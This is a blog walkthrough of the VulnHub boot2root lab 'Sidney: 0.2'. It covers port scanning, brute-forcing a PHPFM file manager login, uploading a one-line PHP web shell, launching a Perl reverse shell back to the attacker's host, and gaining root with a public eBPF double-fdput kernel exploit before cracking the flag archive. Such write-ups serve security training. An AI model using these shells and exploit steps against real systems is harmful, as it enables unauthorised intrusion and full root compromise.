Andrew Emil's blog

Sidney: 0.2 Walkthrough

Sidney: 0.2 is a boot2root challenge created by knightmare2600 and hosted by vulnhub.

After booting the the VM, I used netdiscover to find its IP Address which was 192.168.2.113 and our machine’s one was 192.168.2.112.

Enumeration

Lets begin by scanning the VM using nmap:

Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:/# nmap -A -T4 -sV -PN -p- 192.168.2.113

Starting Nmap 6.47 ( http://nmap.org ) at 2016-06-03 22:59 EDT
Nmap scan report for 192.168.2.113
Host is up (0.00090s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: 38911 Bytes Free
MAC Address: 08:00:27:3C:A8:1C (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.90 ms 192.168.2.113

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.33 seconds

So It seems that Apache web service is the only service that was up and running on the target machine, so lets visit its main index page.

Nothing was interesting here. Then, I used DirBuster to brute force directories and files names on the target web server. A commodore64/ directory and commodore64/index.php file were found as show in the figure below:

By doing a quick search on the commodore64 keyword, the Commodore 64 wikipedia page shows that It’s an 8-bit home computer introduced in January 1982 by Commodore International.

Ok, lets get back to the dirbuster results. I found that the commodore64/index.php file is actually the login page for a php file manager “PHPFM 0.2.3”.

The other result of DirBuster was the commodore64 directory where I found a really interesting information in the source code of its page.

I assumed that the above information was a hint for the login credentials to the PHPFM login page. It stated that the password for robhubbard is the C=64 sound chip lowercase and the format of the password is 3letters4digits without a space.

By getting back to the Commodore 64 wikipedia page, I found the following information:

“There are two versions of the SID "Sound Interface Device” chip: the 6581 and the 8580. The MOS Technology 6581 was used in the original (“breadbox”) C64s, the early versions of the 64C, and the Commodore 128. The 6581 was replaced with the MOS Technology 8580 in 1987.“

Since Commodore64 used “MOS Technology 6581/8580 SID chips” and the hint I have found stated that the password’s format is three lowercase letters and four digits without a space, my initial attempt was to use mos6581 and mos8580 as the passwords for the user robhubbard to login to the PHPFM, but it failed!

After a little thinking I thought that maybe the 4 digits in the password field weren’t the right ones, so my second attempt was to try all the four digits in the range starting from “6500 to 6599”.

To conduct that brute force attack, I used Burp Suite Intruder attack with the Numbers payload.

The 4-digits payload 6518 returned a different response length, and a quick check shows that mos6518 was actually the right password for the robhubbard user as shown below. Wonderful!

Remote Command Execution

My next step was to get RCE on the target server by uploading a simple php shell using the PHPFM file manager.

shell.php source code
1
<?php system($_GET['cmd']); ?>

I successfully got RCE using the uploaded script http://192.168.2.113/commodore64/shell.php?cmd=id as shown below:

After getting the PHPSESSID using Live HTTP headers firefox add-on, I continued exploiting the target using the cURL utility.

RCE
1
2
3
4
5
root@kali:~# curl -s --cookie "PHPSESSID=ejn5rmhv9vgamh31ggc4i1o3u4" "http://192.168.2.113/commodore64/shell.php?cmd=$(php -r "echo urlencode('id ;uname -a;pwd;which nc;which wget;which perl;which python');")"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux sidney 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/commodore64
/usr/bin/perl

Then I used the perl-reverse-shell which is provided by pentestmonkey.net to get an interactive shell on the target system.

Basic modifications in the perl reverse shell:

Modification to the perl-reverse-shell
1
2
3
# Where to send the reverse shell.  Change these.
my $ip = '192.168.2.112'; #Our kali's ip address
my $port = 443;

After uploading the perl-reverse-shell “revshell.pl” using the PHPFM file manager, and while listening on port 443 on my local machine, I executed revshell.pl on the target system using the following command:

perl revshell.pl
1
root@kali:/# curl -s --cookie "PHPSESSID=ejn5rmhv9vgamh31ggc4i1o3u4" "http://192.168.2.113/commodore64/shell.php?cmd=$(php -r "echo urlencode('perl revshell.pl');")"
Interactive Shell
1
2
3
4
5
6
7
8
9
10
root@kali:/# nc -nvlp 443
listening on [any] 443 ...
connect to [192.168.2.112] from (UNKNOWN) [192.168.2.113] 60464
 07:12:09 up  3:47,  0 users,  load average: 0.08, 0.04, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
Linux sidney 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/
/usr/sbin/apache: 0: can't access tty; job control turned off
$ 

Privilege Escalation

The OS version is Ubuntu 16.04 LTS and its kernel version is 16.04 LTS as shown below:

OS Information
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ uname -a
Linux sidney 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="16.04 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU_CODENAME=xenial
$ 

This version of Ubuntu 16.04 LTS and its associated kernel 4.4.0-21-generic are suffered from a UAF via double-fdput() in bpf(BPF_PROG_LOAD) error path vulnerability, which can lead to a local root privilege escalation.

The description of the vulnerability report from google project zero states that: “In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime, unprivileged code can use the bpf() syscall to load eBPF socket filter programs. These conditions are fulfilled in Ubuntu 16.04.”

Also, an exploit is available with the vulnerability report, and it’s hosted on exploit-db as well.

Once again, I uploaded the exploit “exploit.tar” to the target server using the PHPFM file manager, extracted the tar file, compiled the exploit “./compile.sh”, executed the exploit “./doubleput”, and root privileges were obtained as shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
$ cd ebpf_mapfd_doubleput_exploit/
$ ls
compile.sh
doubleput.c
hello.c
suidhelper.c
$ ./compile.sh
$ ls
compile.sh
doubleput
doubleput.c
hello
hello.c
suidhelper
suidhelper.c
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd /root
pwd && ls -la
/root
total 84
drwx------  3 root     root      4096 May 25 18:40 .
drwxr-xr-x 23 root     root      4096 May 31 20:39 ..
-rw-r--r--  1 root     root      3106 Oct 22  2015 .bashrc
dr--------  3 root     root      4096 May 24 21:02 .commodore64
-rw-r--r--  1 root     root       148 Aug 17  2015 .profile
-rw-rw-r--  1 rhubbard rhubbard 62464 May 24 21:27 hint.gif

Capturing the flag

By following the .commodore64 directory tree, I found two files under the /root/.commodore64/.miami/vice directory: flag.zip and versatile_commodore_emulator.

1
2
3
4
5
6
7
8
pwd
/root/.commodore64/.miami/vice
ls -la
total 12
dr-------- 2 root     root     4096 May 25 18:40 .
dr-------- 3 root     root     4096 May 24 21:01 ..
-r-------- 1 rhubbard rhubbard 4089 May 24 20:59 flag.zip
-r-------- 1 root     root        0 May 24 21:02 versatile_commodore_emulator

The flag.zip file was password protected, so I copied it to the /var/www/html/ directory, hence I can download it to my local machine through the web service.

1
2
3
4
5
6
7
8
9
cp flag.zip /var/www/html/
chmod 777 /var/www/html/flag.zip
ls -la /var/www/html
total 20
drwxr-xr-x 3 root     root     4096 Jun  4 07:48 .
drwxr-xr-x 3 root     root     4096 May 23 18:30 ..
drwxr-xr-x 8 www-data www-data 4096 Jun  4 07:40 commodore64
-rwxrwxrwx 1 root     root     4089 Jun  4 07:48 flag.zip
-rw-r--r-- 1 www-data www-data  278 May 24 20:35 index.html

Then, I used fcrackzip along with rockyou.txt wordlist to crack the flag.zip password file. The password was successfully found 38911 as shown below:

1
2
3
4
5
6
7
8
9
10
11
root@kali:~# fcrackzip -v -D -u -p rockyou.txt flag.zip
found file 'flag.d64', (size cp/uc   3923/174848, flags 9, chk 9be5)
checking pw budayday

PASSWORD FOUND!!!!: pw == 38911
root@kali:~# unzip flag.zip
Archive:  flag.zip
[flag.zip] flag.d64 password:
  inflating: flag.d64
root@kali:~# file flag.d64
flag.d64: D64 Image

A quick search shows that D64 Image is a Commodore64 Disk Image, and it can be attached under the Versatile Commodore Emulator. So it appears that the file I have found earlier versatile_commodore_emulator was just a hint that I will need to use that emulator to get the flag.

I downloaded the VICE Emulator source code, and found a tutorial on how to install and use the VICE Emulator.

I used the following commands to install the VICE Emulator on my machine:

Versatile Commodore Emulator Installation
1
2
3
4
apt-get install vice
tar vzxf vice-2.4.tar.gz
cp -r vice-2.4/data/* /usr/lib/vice/
chown -R root /usr/lib/vice

Then I used the x64 flag.d64 command to “autoload” the flag.d64 image from the command line and captured the flag as shown below:

1
x64 flag.d64

Finally, I would like to thank knightmare2600 for creating the VM, and VulnHub for hosting it.

Comments